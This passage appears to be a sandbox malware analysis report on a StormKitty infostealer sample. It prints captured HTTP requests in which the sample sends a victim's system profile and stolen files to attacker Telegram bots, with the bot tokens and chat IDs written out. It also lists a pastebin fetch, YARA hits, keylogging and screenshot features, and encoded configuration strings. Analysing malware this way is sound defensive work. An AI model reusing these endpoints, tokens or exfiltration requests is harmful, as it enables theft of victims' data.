0%20%20%E2%88%9F%20%E2%8F%B3%20History:%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: POST /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469 HTTP/1.1Content-Type: multipart/form-data; boundary="18567fe5-3a12-4dc9-8dbd-9e3337ea578c"Host: api.telegram.orgContent-Length: 154180Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /raw/7B75u64B HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956 HTTP/1.1Content-Type: multipart/form-data; boundary="461e744f-41a2-4c05-9fb8-af447dc13f3c"Host: api.telegram.orgContent-Length: 154180Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.185.241 104.16.185.241

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-07-31%201:07:02%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20899552%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20CT_BZ8R%0ARAM:%204095MB%0AHWID:%2049CC9AD8BB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /raw/7B75u64B HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 224.185.13.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown

HTTP traffic detected: POST /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469 HTTP/1.1Content-Type: multipart/form-data; boundary="18567fe5-3a12-4dc9-8dbd-9e3337ea578c"Host: api.telegram.orgContent-Length: 154180Expect: 100-continue

Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: viVOqZjAT0.exe	String found in binary or memory: https://api.telegram.org/bot
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=57954
Source: viVOqZjAT0.exe	String found in binary or memory: https://api.telegram.org/file/bot
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgD
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: viVOqZjAT0.exe	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty0&fq
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: viVOqZjAT0.exe	String found in binary or memory: https://pastebin.com/raw/7B75u64B
Source: viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/7B75u64Bd
Source: viVOqZjAT0.exe	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr, History.txt.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr, History.txt.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: History.txt0.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: places.raw.0.dr, tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.raw.0.dr, tmp394B.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49735 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Contains functionality to capture screen (.Net source)

Source: viVOqZjAT0.exe, DesktopScreenshot.cs

.Net Code: Make

Contains functionality to log keystrokes (.Net Source)

Source: viVOqZjAT0.exe, Keylogger.cs	.Net Code: SetHook
Source: viVOqZjAT0.exe, Keylogger.cs	.Net Code: KeyboardLayout

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File deleted: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\HTAGVDFUIE.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File deleted: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\KATAXZVCPS.png	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File deleted: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU.png	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File deleted: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\NIKHQAIQAU.png	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File deleted: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\VLZDGUKUTZ.pdf	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_010F6390	0_2_010F6390
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_010F5AC0	0_2_010F5AC0
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_010F9750	0_2_010F9750
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_010F9760	0_2_010F9760
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_010F5778	0_2_010F5778
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_057105FE	0_2_057105FE
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_05710600	0_2_05710600
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_0571C108	0_2_0571C108
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_0571C0F7	0_2_0571C0F7
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_05715D60	0_2_05715D60
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Code function: 0_2_05715D52	0_2_05715D52

Source: viVOqZjAT0.exe, 00000000.00000002.4106204242.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs viVOqZjAT0.exe
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs viVOqZjAT0.exe
Source: viVOqZjAT0.exe	Binary or memory string: OriginalFilenameClient.exe. vs viVOqZjAT0.exe

Source: viVOqZjAT0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: viVOqZjAT0.exe, type: SAMPLE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: viVOqZjAT0.exe, Settings.cs

Base64 encoded string: 'ryDl0cfYW59jpOzaPrcjWMjqxV5X5r7cdKhJ5cmQ50GIJ/zV/eHwJIWEfR1lwHveNKRkzzQRmAFzVYvxZ+QtN24cbzG1zaeKTJXLRxOqjsLAjnd+QvfoAc76SL8sY1/8', 'Z5pZYvRJIFTn8wlNIbceeqsxsKyiih9zS9G1Q49QpoEQOhv8FIVYhJy3JtaDzo7YHrinzRvWHLMY6KkdaCxT9w==', 'lv3eVVbrtyehpFQQS+O85pqbqHpE531GsoTORjAIVkmXnn29fizpHaeprUcfXfR7i1rDsUVnA0uHFazCOt353g==', 'vx/BE7jbRUB6mf7JvBe7Aqms5ens79dF75erQeF42sT5vvO+4N9X2zk0aqxqkuguWA/A06An2byEZbqi5N4oc6eDd74t2bt19gesw0UIL8c=', 'nXKe4oAN0iBYluL0NQNKasuRdPEYHHvoJHBCMT+I7iGe41QiUcLXnSquqUdY5Xs+MVUGLpfUfaHVmqMC/SfaaZX1JoFtVGWwClIrpf8FsiO8IpqEKgM6FNqF0Ognzq1b7tp3rIjM2Aq8StkwWXkHUOYxI8qr8GADLi4Ylq0kgwpIiGkb1z/6p5ujAOACIjgw5x9IhvGtTr+pZgOuq775zWQtOZIwgHiwfn+8HAB7TWqKBA5reeQ+GcSe1AVSSvIwL2m9YqmANxvUV/z6P+tntZK9khBosBwHhOiwRWXG7/WpzOHXHsguz9PsgGj8x6vv563lVxWQAVbkGsiVnDkQDg6utGPUefYXoghcReIUhhO5SZiVt8QiJpJVzlEJFFLSzuPdrYoqneInXeUrZciNHk6Hx/qmc0c/OP8zrIiuTOIjkA4/48e72ZkKUXXjDM9NHJYaFkiW7Wy09F3klKb3gXQb7uQKAQ3myxaI9H4viFDzQ+c6ot/Tt/9sm+I5UXFT4EyPgUXKxHI2gqb+mGyqQkOPuBaH45ePwop7BrYpY/1efw+fAOhY4ManjMs6wjMfCyT+RgVfeAolPHVmFc7THpeFENsGzPu4PaQTk7KcIXPlIOAC8nCCQkJ8Z/VkapUueXmA9ouv8rVUX3RDzPNuYQMj6eQGRGoJaiSi1XnTSB+pFxXuymASnVeMHzS1YJc6S1Fy8xnlzJW7wkSc0EzMjLWBFsM3Hqd3b6QH+6AftKjxmEGRAffkIkZg1kgQascpVqw/SlkjNmcC+8/jbyDIsnjfoUA7PIQ6NaNjAWDQ8QJGwp8fEK5MOILen18Pkqix0uS7isDBkB1ChKdH/cR8LyKqqAvhf24jkqpsdpnndycZXCnmG14YSdhSJD7P54U5ewxu5hWc0WDpXKCJSpKp+Gy3I3bLus4hISrBmvvjsDY5WaJWh4rN+zn3lBsaEVXz0YdEKxHlnUuHD4RTG2YEeg7l4NQmHuxkbkoOBiV/EkTcqVMpsm9VZOkIK44jxyFHyoqVqgnllEW2n6iThOHqhykb1ivXu6OBFYSpXiPeRpYEVBpUMWjvXy2wTmgsSDG43S2ISnly04sL8+POHl7dAZhsvW/Yb9kNVsrSyQzUi4FENeRphe5EQb59noFZbgoVWYsKCEtLnBLTOMUtNywmHbDlomrWnS16Z9wMlfLoBZwDq7q2Z/8FecilNhRqRnip5R1F+C7L5+PkGgbxv7hvDfnKlP68bC41b2+l+8MfkH/OIC4Pf4M4KBF7l5svnS6/SkGqtZ8RNySst5Cz/y7LYkWD8jrSInEMDXNvDkVq5egyR0WF52kgbiLK08K4cGSVG0q7Eo0WyabA8Ez1czK/JmEpDEJ2fggJBNfU8KOpygs/tUwEnJjj+fb+pogdcNDftRu+jLkC232YXIpGdY/sIUc03VXzJPbMwZVCZXmWZepd5FRkB7xBL6Vel/AIR6HMGe8APTLt5mtX7wMzt7tMf/KG7tH20e6uEYu7pmgfFXjU9LksVMIL8YZhezJqFHf+AW70OMfSNkYnu/sPLvlXSRD/7WVGTUjXtDFgTAPWVSLDiCkDi+DZ0aRUDufzdLaKLL0QaIiFxTE7R8TtaHooLbq1YGUnnGCmIzJH9yWg96yCDebbKI4TbcuNBfBpHaQ4nFL0/eu7rIDtbNrlM4pVdH1/kmax+IW7RBa5AH56ZoN8v6ZTK8vGmIX7JDWynYrSqFEetkjXYL9hoVT4TAhayuqAjY3rXtL1Wr+0ixxK+3nnBmEGbv4B5CV6UW1op7x6JljRFVhPGnU7gQdZMhTIlzx9V0r26bfwepof5aI3lQUjqV5nqB2K2M86T57ul4upx+UKts/3cqFm4uW6KGU+QlDJH5X5MpBAzlwDVFqO90gNG1iaO7L+5wB+mCR7GMOHWRvaEGPx7APVOR8Yfp4eJafkkh46BMOLWmuEzIx6XukDk9O7vsW9XMC88CuUsW5yCR+i61dDX2/1vuohT3RYT8mpm9I3h+dZkQYawTD8WPh9v/RihPHhp2PuM1O1s73iF+/DL+NvEn03K5FJ7pN5QdQ+Dh7ZxZ0gCHxC7kXaGz5krfPAZ7jnR61ojVDZyZkDUytVwZqVtNqOgW/kGZVrzkevqyK/ZDvyrRKd1Rr4dUYQxUc0X2tvBIamwGdwTkytiQWQUxkR2u+8P4HB6uPjaMAVvJ4ms7qv2bL9xb4OzTbG0Zk8J2p+N5t9uSrqVYVXn0pLQTZYXDpEbDKIjM4eSXjs9+iR68v+QgfwZfx380SFEkX8USuAGi+nknn2750JpeIa0K2PJLG7REXQxTTndMK8NHumykm63bZKIosdjC8=', 'xYuvE6ES2q02iyx0gj+TcxpQsqddzdkIJrpkxnhqM1VY6AGnW9K7iueX76+kb51aZY1MQHOImE+WAxBe/9TWW8PghqnYJs+uiWFcbqIrt7wBNgYAZIb4fWIYK6I8PvGWTdMT0vp5d1eejCO3WE2kAMEeZpGjb68AQ5PP+dh1Wp3O0VUq7s2iJGVMSVGN135sxYJU8wDgauyFnkLJSJeLk1O3e5w

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@17/116@5/5
